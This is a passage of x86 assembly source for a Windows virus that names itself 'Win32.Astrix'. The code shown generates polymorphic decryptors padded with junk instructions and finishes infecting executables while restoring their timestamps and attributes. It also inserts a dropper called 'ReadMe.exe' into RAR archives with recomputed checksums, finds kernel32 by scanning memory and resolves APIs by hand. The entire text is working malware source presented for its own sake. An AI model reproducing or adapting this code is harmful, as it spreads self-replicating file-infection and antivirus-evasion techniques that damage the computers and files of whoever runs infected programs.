;build mov word ptr [edi],ax
mov byte ptr [edi],66h
inc edi
mov byte ptr [edi],89h
inc edi
mov byte ptr [edi],7h
inc edi
sub [ebp + free_space],3h
call write_junk_code
;build add edi,2h
mov byte ptr [edi],83h
inc edi
mov byte ptr [edi],0c7h
inc edi
mov byte ptr [edi],2h
inc edi
sub [ebp + free_space],3h
jmp _1
stos_: mov ax,word ptr [ebp + vl_cmd10]
stosw
sub [ebp + free_space],2h
_1: call write_junk_code
; build loop offset:
mov bl,byte ptr [ebp + vl_cmd11]
mov byte ptr [edi],bl
inc edi
pop ecx
mov ebx,edi
sub ecx,ebx
mov byte ptr [edi],cl
inc edi
sub [ebp + free_space],4h
call write_junk_code
mov bx,word ptr [ebp + vl_cmd12]
mov word ptr [edi],bx
add edi,2h
mov bl,byte ptr [ebp + vl_cmd12+2h]
mov byte ptr [edi],bl
inc edi
sub [ebp + free_space],3h
call write_junk_code
mov bx,word ptr [ebp + vl_cmd13]
mov word ptr [edi],bx
add edi,2h
mov bl,byte ptr [ebp + vl_cmd13+2h]
mov byte ptr [edi],bl
inc edi
sub [ebp + free_space],3h
call write_junk_code
call [ebp + _GetTickCount]
cmp al,7fh
ja exception1
mov word ptr [edi],0f1f7h ;div ecx
jmp end_exception
exception1: mov bx,word ptr [ebp + vl_cmd14]
mov word ptr [edi],bx
end_exception: add edi,2h
sub [ebp + free_space],2h
call write_junk_code
;add more junk code after the virus decryptor
call [ebp + _GetTickCount]
mov ecx,[ebp + free_space]
more_junk: ror eax,cl
stosd
loop more_junk
;finish infection
pop eax
pop ecx
push FILE_BEGIN
push 0h
mov eax,[ebp + nFileSizeLow]
add eax,virus_size
call pad_size
push eax
push [ebp + opened_file_handle]
call [ebp + _SetFilePointer]
push [ebp + opened_file_handle]
call [ebp + _SetEndOfFile]
inc [ebp + infection_counter]
error_unmap:
;remove SEH
pop dword ptr fs:[0]
add esp,4h
popad
_error_unmap: push [ebp + map_base]
call [ebp + _UnmapViewOfFile]
error_close_map:
push [ebp + map_handle]
call [ebp + _CloseHandle]
error_close_file:
lea eax,[ebp + last_write_time]
push eax
lea eax,[ebp + last_access_time]
push eax
lea eax,[ebp + creation_time]
push eax
push [ebp + opened_file_handle]
call [ebp + _SetFileTime]
push [ebp + opened_file_handle]
call [ebp + _CloseHandle]
error:
lea ebx,[ebp + cFileName]
push [ebp + file_old_attributes]
push ebx
call [ebp + _SetFileAttributes]
error_1:
ret
_infection_error_handle:
mov esp,[esp + 8h]
pop dword ptr fs:[0]
add esp,4h
popad
jmp _error_unmap
write_junk_code: ;simple & lame poly
cmp [ebp + free_space],0bh
jbe exit_junk
call random_number
cmp al,7fh
ja write_junk2
call random_number
and eax,1eh
mov ecx,4h
mul ecx
xchg ecx,eax
lea eax,[ebp + junk_code_4]
add eax,ecx
mov eax,[eax]
stosd
jmp exit_junk
write_junk2:
call random_number
and eax,1eh
mov ecx,2h
mul ecx
xchg ecx,eax
lea eax,[ebp + junk_code_2]
add eax,ecx
mov ax,word ptr [eax]
stosw
call random_number
cmp al,7fh
jb exit_junk
write_junk:
and eax,4h
xchg eax,ecx
lea eax,[ebp + junk_code]
add eax,ecx
mov al,byte ptr [eax]
stosb
exit_junk: ret
junk_code_4:
db 0d1h,0c8h,0d1h,0c0h ;ror\rol eax,1
db 0f7h,0d8h,0f7h,0d8h ;neg eax,neg eax
db 33h,0c3h,33h,0c3h ;xor eax,ebx
db 0ebh,0h,90h,90h ;jmp-> nop,nop
db 90h,0f9h,90h,0f8h ;nop,stc,nop,clc
db 60h,61h,23h,0c9h ;and ecx,ecx,pushad\popad
db 0f7h,0d0h,0f7h,0d0h ;not eax,not eax
db 0d3h,0dbh,0d3h,0d3h ;rcr\rcl ebx,cl
db 33h,0c8h,33h,0c8h ;xor ecx,eax
db 23h,0edh,51h,59h ;and ebp,ebp,push\pop ecx
db 90h,9ch,90h,9dh ;nop,nop...
db 40h,48h,50h,58h ;inc\dec eax,push\pop eax
db 91h,91h,48h,40h ;xchg eax,ecx,dec\inc eax
db 53h,05bh,93h,93h ;push\pop ebx,xchg eax,ebx
db 23h,0c0h,51h,59h ;and eax,eax,push\pop ecx
db 0ebh,0h,0f9h,0f8h ;jmp-> stc,clc
junk_code_2:
db 50h,58h ;push\pop eax
db 0ebh,0h ;jmp
db 23h,0e4h ;and esp,esp
db 23h,0f6h ;and esi,esi
db 55h,5dh ;push\pop ebp
db 0f8h,0f9h ;clc\stc
db 22h,0dbh ;and bl,bl
db 0f9h,90h ;stc,nop
db 0d9h,0d0h ;fnop
db 70h,0h ;jo
db 71h,0h ;jno
db 72h,0h ;jc
db 73h,0h ;jae
db 74h,0h ;jz
db 75h,0h ;jne
db 76h,0h ;jna
db 77h,0h ;ja
db 78h,0h ;js
db 79h,0h ;jns
db 7ah,0h ;jp
db 7bh,0h ;jnp
db 7ch,0h ;jl
db 7dh,0h ;jnl
db 7eh,0h ;jle
db 7fh,0h ;jg
db 0e3h,0h ;jecxz
db 90h,0f8h ;nop\clc
db 47h,4fh ;inc\dec edi
db 23h,0ffh ;and edi,edi
db 23h,0d2h ;and edx,edx
junk_code:
db 90h ;nop
db 0f8h ;clc
db 0f9h ;stc
db 0fch ;cld
db 0f5h ;cmc
canot_infect_file:
pop eax ;restore stack
pop eax
cant_infect: push FILE_BEGIN
push 0h
mov eax,[ebp + nFileSizeLow]
call pad_size
push eax
push [ebp + opened_file_handle]
call [ebp + _SetFilePointer]
push [ebp + opened_file_handle]
call [ebp + _SetEndOfFile]
jmp error_unmap
;eax - file size
pad_size:
push eax
xor edx,edx
mov ecx,65h ;101d
div ecx
cmp edx,0h
je no_pad
sub ecx,edx
xchg ecx,edx
no_pad: pop eax
add eax,edx
ret
;return random one byte instruction in eax
_get_byte: push ebx
call [ebp + _GetTickCount]
cmp al,32h
ja byte1
mov eax,90h
jmp end_get_byte
byte1: cmp al,64h
ja byte2
mov eax,0f8h
jmp end_get_byte
byte2: cmp al,96h
ja byte3
mov eax,0f5h
jmp end_get_byte
byte3: cmp al,0c8h
ja byte4
mov eax,0f9h
jmp end_get_byte
byte4: mov eax,0fch
end_get_byte: pop ebx
ret
infect_rar:
;do not infect files that are bigger than 3mb
cmp [ebp + nFileSizeLow],300000h
ja rar_infect_err
mov ebx,[ebp + dwFileAttributes]
mov [ebp + file_old_attributes],ebx
lea ebx,[ebp + cFileName]
push FILE_ATTRIBUTE_NORMAL
push ebx
call [ebp + _SetFileAttributes]
cmp eax,0h
je rar_infect_err
;allocate memory & create crc table
push SizeOfTable
push GPTR
call [ebp + _GlobalAlloc]
cmp eax,0h
je rar_infect_err
mov dword ptr [ebp + crc_table],eax
call create_crc_table
_infect_rar: ;get the infected file name
push 0ffh
lea eax,[ebp + infected_file]
push eax
push 0h
call [ebp + _GetModuleFileName]
cmp eax,0h
je rar_infect_err
;open the infected file
xor eax,eax
push eax
push eax
push OPEN_EXISTING
push eax
push FILE_SHARE_READ
push GENERIC_READ
lea eax,[ebp + infected_file]
push eax
call [ebp + _CreateFile]
cmp eax,INVALID_HANDLE_VALUE
je rar_infect_err
mov dword ptr [ebp + file_handle1],eax
;get the infected file size
push 0h
push eax
call [ebp + _GetFileSize]
cmp eax,INVALID_HANDLE_VALUE
je rar_infect_err
mov dword ptr [ebp + dropper_size],eax
;create file mapping object for the dropper
xor eax,eax
push eax
push eax
push eax
push PAGE_READONLY
push eax
push dword ptr [ebp + file_handle1]
call [ebp + _CreateFileMapping]
cmp eax,0h
je rar_close_file
mov dword ptr [ebp + map_handle1],eax
;map view of file:
xor eax,eax
push eax
push eax
push eax
push FILE_MAP_READ
push dword ptr [ebp + map_handle1]
call [ebp + _MapViewOfFile]
cmp eax,0h
je rar_close_map
mov dword ptr [ebp + map_base1],eax
;open the rar file
lea ebx,[ebp + cFileName]
call open_file
cmp eax,INVALID_HANDLE_VALUE
je rar_unmap1
mov dword ptr [ebp + opened_file_handle],eax
mov eax,[ebp + nFileSizeLow]
add eax,[ebp + dropper_size]
add eax,RarHeaderSize
sub eax,7h
push eax ;save new size of rar
;create file mapping of the rar file
call create_map
cmp eax,0h
je rar_close_file1
mov dword ptr [ebp + map_handle],eax
;map view of rar file
pop eax
call map_view
cmp eax,0h
je rar_close_map1
mov dword ptr [ebp + map_base],eax
;check if the rar file is valid rar archive
cmp dword ptr [eax],"!raR"
jne canot_infect_rar
;check if the rar is already infected:
cmp byte ptr [eax + 0fh],01h
je canot_infect_rar
;start to infect the rar file:
;get crc32 of the infected dropper:
mov edi,[ebp + dropper_size]
mov esi,[ebp + map_base1]
call get_crc
mov dword ptr [ebp + FILE_CRC],eax
;set random time\data in the rar header:
mov eax,dword ptr [ebp + ftCreationTime + 4]
mov dword ptr [ebp + FTIME],eax
;set size of dropper in the rar header:
mov eax,[ebp + dropper_size]
mov [ebp + PACK_SIZE],eax
mov [ebp + UNP_SIZE],eax
;set the crc of the rar header in the rar header:
lea esi,[ebp + headcrc]
mov edi,(EndRarHeader-RarHeader-2)
call get_crc
mov word ptr [ebp + HEAD_CRC],ax
;write the rar header:
lea esi,[ebp + RarHeader]
mov edi,[ebp + map_base]
add edi,[ebp + nFileSizeLow]
sub edi,7h ;overwrite the end of archive sign
push edi
mov ecx,RarHeaderSize
rep movsb
;write the infected dropper:
mov esi,[ebp + map_base1]
pop edi
add edi,RarHeaderSize
mov ecx,[ebp + dropper_size]
rep movsb
;mark the file as infected:
mov eax,dword ptr [ebp + map_base]
push eax
inc byte ptr [eax + 0fh] ;reserved1
mov esi,eax
add esi,9h
mov edi,0bh
call get_crc ;get crc32 of the main rar header
pop ebx
mov word ptr [ebx + 7h],ax ;[ebx + 7h]=HEAD_CRC
unmap_rar: push dword ptr [ebp + map_base]
call [ebp + _UnmapViewOfFile]
rar_close_map1:
push dword ptr [ebp + map_handle]
call [ebp + _CloseHandle]
rar_close_file1:
push dword ptr [ebp + opened_file_handle]
call [ebp+ _CloseHandle]
rar_unmap1:
push dword ptr [ebp + map_base1]
call [ebp + _UnmapViewOfFile]
rar_close_map:
push dword ptr [ebp + map_handle1]
call [ebp + _CloseHandle]
rar_close_file:
push dword ptr [ebp + file_handle1]
call [ebp + _CloseHandle]
lea ebx,[ebp + cFileName]
push [ebp + file_old_attributes]
push ebx
call [ebp + _SetFileAttributes]
rar_infect_err:
;free the crc32 table memory
push dword ptr [ebp + crc_table]
call [ebp + _GlobalFree]
ret
canot_infect_rar:
push FILE_BEGIN
push 0h
push dword ptr [ebp + nFileSizeLow]
push dword ptr [ebp + opened_file_handle]
call [ebp + _SetFilePointer]
push dword ptr [ebp + opened_file_handle]
call [ebp + _SetEndOfFile]
jmp unmap_rar
;create a crc32 table
create_crc_table:
mov edi,dword ptr [ebp + crc_table]
xor ecx,ecx
@2: push ecx
mov eax,ecx
mov ecx,8h
@1: mov edx,eax
and edx,1h
jne equ_1
shr eax,1h
jmp __1
equ_1: shr eax,1h
xor eax,polynomial
__1: loop @1
stosd
pop ecx
inc ecx
cmp ecx,100h
jb @2
ret
get_crc:
;edi - data size
;esi - start address
xor ecx,ecx
mov ebx,0ffffffffh
@crc: push ecx
xor eax,eax
lodsb
mov edx,ebx
shr ebx,8h
push ebx
xchg edx,ebx
and ebx,0ffh
xor ebx,eax
xchg eax,ebx
mov ecx,4h
mul ecx
xchg eax,ebx
mov eax,dword ptr [ebp + crc_table]
add eax,ebx
mov eax,dword ptr [eax]
pop ebx
xor eax,ebx
mov ebx,eax
pop ecx
inc ecx
cmp ecx,edi
jb @crc
not eax
ret
SizeOfTable equ 400h
polynomial equ 0edb88320h
dropper_size dd 0
file_handle1 dd 0
map_handle1 dd 0
map_base1 dd 0
crc_table_created db 0
crc_table dd 0
;---------------RAR Header---------------
RarHeader:
HEAD_CRC dw 0h
headcrc:HEAD_TYPE db 74h
HEAD_FLAGS dw 8000h ;normal flag
HEAD_SIZE dw RarHeaderSize
PACK_SIZE dd 0h
UNP_SIZE dd 0h
HOST_OS db 0h ;Ms-Dos
FILE_CRC dd 0h
FTIME dd 0h
UNP_VER db 14h
METHOD db 30h ;storing
NAME_SIZE dw 0ah ;file name size
endhcrc:ATTR dd 0h
FILE_NAME db "ReadMe.exe"
EndRarHeader:
RarHeaderSize equ (EndRarHeader-RarHeader)
;----------------------------------------
;open file with read\write access:
;ebx - address of filename
open_file:
xor eax,eax
push eax
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push eax
push eax
push GENERIC_READ or GENERIC_WRITE
push ebx
call [ebp + _CreateFile]
ret
;create file mapping object
;eax - size of map or zero
create_map:
xor edx,edx
push edx
push eax
push edx
push PAGE_READWRITE
push edx
push [ebp + opened_file_handle]
call [ebp + _CreateFileMapping]
ret
;map view of file:
;eax - size of map or zero
map_view:
push eax
xor eax,eax
push eax
push eax
push FILE_MAP_WRITE
push [ebp + map_handle]
call [ebp + _MapViewOfFile]
ret
get_apis:
;ecx - number of apis
;eax - address to api strings
;ebx - address to api address
;edx - module handle
next_api: push ecx
push edx
push eax
push eax
push edx
call [ebp + _GetProcAddress]
cmp eax,0h
je cant_get_apis
mov dword ptr [ebx],eax
pop eax
;start to get the next string:
next_string: inc eax
cmp byte ptr [eax],0h
jne next_string
inc eax
add ebx,4h
pop edx
pop ecx
loop next_api
stc
ret
cant_get_apis: add esp,0ch
clc
ret
;Find Kernel Base Address
;************************
find_kernel:
mov eax,0bff70000h ;win9X
call search_kernel
jc kernel_is_founded
mov eax,0bff60000h ;winME
call search_kernel
jc kernel_is_founded
mov eax,804d4000h ;winXP
call search_kernel
jc kernel_is_founded
mov eax,77f00000h ;winNT
call search_kernel
jc kernel_is_founded
mov eax,77e70000h ;win2K
call search_kernel
jc kernel_is_founded
clc
ret
kernel_is_founded:
stc
ret
search_kernel:
pushad
lea ebx,[ebp + k32find_err]
push ebx
push dword ptr fs:[0] ;set SEH
mov fs:[0],esp
xor ax,ax
mov ebx,eax
next_page: cmp word ptr [eax],"ZM"
jne move_to_next_pg
mov ebx,eax
add eax,[eax + 3ch]
cmp word ptr [eax],"EP"
je kernel_ok
move_to_next_pg:xchg eax,ebx
sub eax,1000h
jnz next_page
kernel_ok: pop dword ptr fs:[0] ;remove SEH
add esp,4h
xchg eax,ebx
mov [ebp + kernel_base],eax
popad
stc
ret
k32find_err: mov esp,[esp + 8h]
pop dword ptr fs:[0] ;remove SEH
add esp,4h
popad
clc
ret
;get the GetProcAddress API
;*******************************
get_proc_addr:
mov eax,[ebp + offset kernel_base]
add eax,[eax + 3ch]
mov eax,[eax + 78h] ;eax point to export table !
add eax,[ebp + offset kernel_base]
mov ebx,[eax + 14h] ;get the numbers of exported functions
mov [ebp + numbers_of_exported_apis],ebx ;save it
mov ebx,[eax + 1Ch]
add ebx,[ebp + offset kernel_base] ; get address of api addresses array
mov [ebp + address_of_apis],ebx ; save it
mov ebx,[eax + 20h]
add ebx,[ebp + offset kernel_base]
mov ebx,[ebx]
add ebx,[ebp + offset kernel_base] ; get address of api names array
push ebx ; save it
mov ebx,[eax + 24h] ;get address of api ordinals array
add ebx,[ebp + offset kernel_base]
mov [ebp + address_of_apis_ordinals],ebx ; save it
;search the "GetProcAddress" string in the names array:
; edi - pointer to names array
; esi - pointer to "GetProcAddress" string
; ecx - will hold the ordianl number
xor ecx,ecx
pop edi
next_l: lea esi,[ebp + get_proc_address]
cmpsb
je check_word
cmp byte ptr [edi],00h
jne not_inc
inc ecx
not_inc:
cmp ecx,[ebp + numbers_of_exported_apis]
jne next_l
check_word:
push ecx
mov ecx,0eh ;check 14 bytes
check_loop: cmpsb
jne not_match
loop check_loop
pop ecx
jmp founded
not_match:
pop ecx
jmp next_l
founded:
;get the function:
shl cx,1h
mov ebx,[ebp + address_of_apis_ordinals]
add ebx,ecx
mov cx,word ptr [ebx]
shl ecx,2h
add ecx,[ebp + address_of_apis]
mov ecx,[ecx]
add ecx,[ebp + kernel_base]
mov [ebp + _GetProcAddress],ecx ; save it
ret
copyright db "Win32.Astrix Virus Coded By DR-EF All Right Reserved",0
;apis:
get_proc_address db "GetProcAddress",0
api_strings: FindFirstFile db "FindFirstFileA",0
FindNextFile db "FindNextFileA",0
GetCurrentDirectory db "GetCurrentDirectoryA",0
SetCurrentDirectory db "SetCurrentDirectoryA",0
CreateFile db "CreateFileA",0
CloseHandle db "CloseHandle",0
CreateFileMapping db "CreateFileMappingA",0
MapViewOfFile db "MapViewOfFile",0
UnmapViewOfFile db "UnmapViewOfFile",0
GetTickCount db "GetTickCount",0
SetFileAttributes db "SetFileAttributesA",0
LoadLibrary db "LoadLibraryA",0
SetFilePointer db "SetFilePointer",0
SetEndOfFile db "SetEndOfFile",0
GlobalAlloc db "GlobalAlloc",0
GlobalFree db "GlobalFree",0
GetModuleFileName db "GetModuleFileNameA",0
GetLocalTime db "GetLocalTime",0
GetFileTime db "GetFileTime",0
SetFileTime db "SetFileTime",0
GetFileSize db "GetFileSize",0
kernel_base dd 0
_GetProcAddress dd 0
api_addresses: _FindFirstFile dd 0
_FindNextFile dd 0
_GetCurrentDirectory dd 0
_SetCurrentDirectory dd 0
_CreateFile dd 0
_CloseHandle dd 0
_CreateFileMapping dd 0
_MapViewOfFile dd 0
_UnmapViewOfFile dd 0
_GetTickCount dd 0
_SetFileAttributes dd 0
_LoadLibrary dd 0
_SetFilePointer dd 0
_SetEndOfFile dd 0
_GlobalAlloc dd 0
_GlobalFree dd 0
_GetModuleFileName dd 0
_GetLocalTime dd 0
_GetFileTime dd 0
_SetFileTime dd 0
_GetFileSize dd 0
;--------------- export table:
numbers_of_exported_apis dd 0
address_of_apis dd 0
address_of_apis_ordinals dd 0
number_of_apis equ 15h
;-----------------------------
max_path equ 260
OPEN_EXISTING equ 3
FILE_SHARE_READ equ 1
FILE_ATTRIBUTE_NORMAL equ 00000080h
GENERIC_WRITE equ 40000000h
GENERIC_READ equ 80000000h
PAGE_READWRITE equ 4h
PAGE_READONLY equ 2h
FILE_MAP_WRITE equ 00000002h
FILE_MAP_READ equ 00000004h
FILE_BEGIN equ 0
GPTR equ 0040h
allocated_memory_handle dd 0
opened_file_handle dd 0
map_handle dd 0
map_base dd 0
;FILETIME structures
creation_time:
dd 0,0
last_access_time:
dd 0,0
last_write_time:
dd 0,0
;WIN32_FIND_DATA structure
WIN32_FIND_DATA:
dwFileAttributes dd 0
ftCreationTime dq 0
ftLastAccessTime dq 0
ftLastWriteTime dq 0
nFileSizeHigh dd 0
nFileSizeLow dd 0
dwReserved0 dd 0
dwReserved1 dd 0
cFileName db max_path dup (0)
cAlternateFileName db 14 dup (0)
;file search:
search_mask db "*.*",0
INVALID_HANDLE_VALUE equ -1
Current_Directory db max_path dup (0)
directory_name_size dd 0
file_handle dd 0
;infection data:
infection_counter db 0
number_of_sections dw 0
file_alignment dd 0
host_image_base dd 0
number_directories_entries dd 0
last_section dd 0
where_to_write_decryptor dd 0
file_old_attributes dd 0
free_space dd 0
infected_file db 0ffh dup(0)
;registry functions:
advapi32_dll db "Advapi32.dll",0
reg_funcs: RegOpenKeyEx db "RegOpenKeyExA",0
RegQueryValueEx db "RegQueryValueExA",0
RegCloseKey db "RegCloseKey",0
RegSetValueExA db "RegSetValueExA",0
reg_funcs_add: _RegOpenKeyEx dd 0
_RegQueryValueEx dd 0
_RegCloseKey dd 0
_RegSetValueExA dd 0
HKEY_CURRENT_USER equ 80000001h
KEY_QUERY_VALUE equ 0001h
ERROR_SUCCESS equ 0h
KEY_WRITE equ 00020006h
REG_DWORD equ 4h
hkey dd 0
virus_decryptor: ;normal virus decryptor
vl_cmd1: mov_esi_virus_ep db 0beh,0,0,0,0
vl_cmd2: push esi
vl_cmd3: mov edi,esi
vl_cmd4: mov ecx,(virus_size/2)
vl_cmd5: lodsw
vl_cmd6: sub al,cl
vl_cmd7: rol ax,cl
vl_cmd8: xor_ax_key db 66h,35h,0,0
vl_cmd9: ror ah,1h
vl_cmd10: stosw
vl_cmd11: db 0e2h,(vl_cmd4-vl_cmd11) ;loop vl_cmd5 ;decrypt
vl_cmd12: push dword ptr fs:[ecx]
vl_cmd13: mov fs:[ecx],esp
vl_cmd14: mov dword ptr [ecx],eax
end_virus_decryptor:
decrypt_virus:
pop edi
push edi
mov esi,edi
mov ecx,(decrypt_virus-start_ecrypt)
decrypt_v: lodsb
push ecx
xor_al_key db 34h,00h
mov_cl_key db 0b1h,00h
ror al,cl
pop ecx
stosb
loop decrypt_v
push dword ptr fs:[ecx] ;set SEH
mov fs:[ecx],esp
mov dword ptr [ecx],ebx ;return to the virus
End_Astrix:
fake_host:
xor ebp,ebp ;first generation delta offset
push offset fake_host_p
pushad
jmp first_g
fake_host_p: push 40h ;first generation host
push offset virus_name
push offset virus_info
push 0h
call MessageBoxA
push eax
call ExitProcess
virus_info db "Astrix Virus Version 1.0 (c) 2004 DR-EF All Rights Reserved !",0
virus_name db "Astrix Virus Dropper.",0
end fake_host